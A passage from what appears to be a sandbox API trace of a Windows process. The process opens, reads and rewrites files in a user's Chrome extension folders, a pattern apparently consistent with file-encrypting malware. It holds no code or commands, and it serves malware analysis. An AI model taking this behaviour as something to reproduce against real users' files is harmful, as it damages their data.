Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.356] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.356] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xd4 [0055.356] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.356] ReleaseMutex (hMutex=0x128) returned 1 [0055.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.356] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dae968, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dae968*, lpNumberOfBytesRead=0x304f2bc*=0xd4, lpOverlapped=0x0) returned 1 [0055.357] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.357] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x65c, lpOverlapped=0x0) returned 1 [0055.357] CloseHandle (hObject=0x1bc) returned 1 [0055.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.358] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.358] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x103 [0055.358] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.358] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.358] ReleaseMutex (hMutex=0x128) returned 1 [0055.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.358] ReadFile (in: hFile=0x1bc, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x304f2bc*=0x103, lpOverlapped=0x0) returned 1 [0055.360] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.360] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x68b, lpOverlapped=0x0) returned 1 [0055.360] CloseHandle (hObject=0x1bc) returned 1 [0055.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.360] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.360] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb2 [0055.360] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.361] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.361] ReleaseMutex (hMutex=0x128) returned 1 [0055.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.361] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e36e88, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36e88*, lpNumberOfBytesRead=0x304f2bc*=0xb2, lpOverlapped=0x0) returned 1 [0055.362] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.362] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x63a, lpOverlapped=0x0) returned 1 [0055.362] CloseHandle (hObject=0x1bc) returned 1 [0055.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.363] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.363] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xd2 [0055.363] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.363] ReleaseMutex (hMutex=0x128) returned 1 [0055.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.363] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dae968, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dae968*, lpNumberOfBytesRead=0x304f2bc*=0xd2, lpOverlapped=0x0) returned 1 [0055.364] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.364] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x65a, lpOverlapped=0x0) returned 1 [0055.364] CloseHandle (hObject=0x1bc) returned 1 [0055.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.365] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.365] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x16a [0055.365] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.365] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.365] ReleaseMutex (hMutex=0x128) returned 1 [0055.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.365] ReadFile (in: hFile=0x1bc, lpBuffer=0x2635da8, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635da8*, lpNumberOfBytesRead=0x304f2bc*=0x16a, lpOverlapped=0x0) returned 1 [0055.366] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.366] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6f2, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6f2, lpOverlapped=0x0) returned 1 [0055.366] CloseHandle (hObject=0x1bc) returned 1 [0055.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.367] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.367] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1c3 [0055.367] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.367] ReleaseMutex (hMutex=0x128) returned 1 [0055.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.367] ReadFile (in: hFile=0x1bc, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1c3, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x304f2bc*=0x1c3, lpOverlapped=0x0) returned 1 [0055.368] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.368] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a184b8*, nNumberOfBytesToWrite=0x74b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a184b8*, lpNumberOfBytesWritten=0x304f2d0*=0x74b, lpOverlapped=0x0) returned 1 [0055.368] CloseHandle (hObject=0x1bc) returned 1 [0055.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.369] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.369] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x119 [0055.369] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.369] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.369] ReleaseMutex (hMutex=0x128) returned 1 [0055.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.369] ReadFile (in: hFile=0x1bc, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x304f2bc*=0x119, lpOverlapped=0x0) returned 1 [0055.370] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.370] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6a1, lpOverlapped=0x0) returned 1 [0055.371] CloseHandle (hObject=0x1bc) returned 1 [0055.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.371] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.371] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xcd [0055.371] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.371] ReleaseMutex (hMutex=0x128) returned 1 [0055.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.372] ReadFile (in: hFile=0x1bc, lpBuffer=0x1dae968, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dae968*, lpNumberOfBytesRead=0x304f2bc*=0xcd, lpOverlapped=0x0) returned 1 [0055.372] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.372] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x655, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x655, lpOverlapped=0x0) returned 1 [0055.373] CloseHandle (hObject=0x1bc) returned 1 [0055.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.373] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.373] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x32a2e [0055.373] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.373] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.373] ReleaseMutex (hMutex=0x128) returned 1 [0055.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_background.js", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0055.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_background.js", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="craw_background.js", lpUsedDefaultChar=0x0) returned 18 [0055.374] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0055.376] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x31a2e [0055.376] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.377] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x31a2e [0055.377] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.378] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0055.378] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0055.378] CloseHandle (hObject=0x1bc) returned 1 [0055.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.378] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.378] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa6 [0055.378] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.379] ReleaseMutex (hMutex=0x128) returned 1 [0055.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="topbar_floating_button_maximize.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0055.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="topbar_floating_button_maximize.png", cchWideChar=35, lpMultiByteStr=0x1eb20f4, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 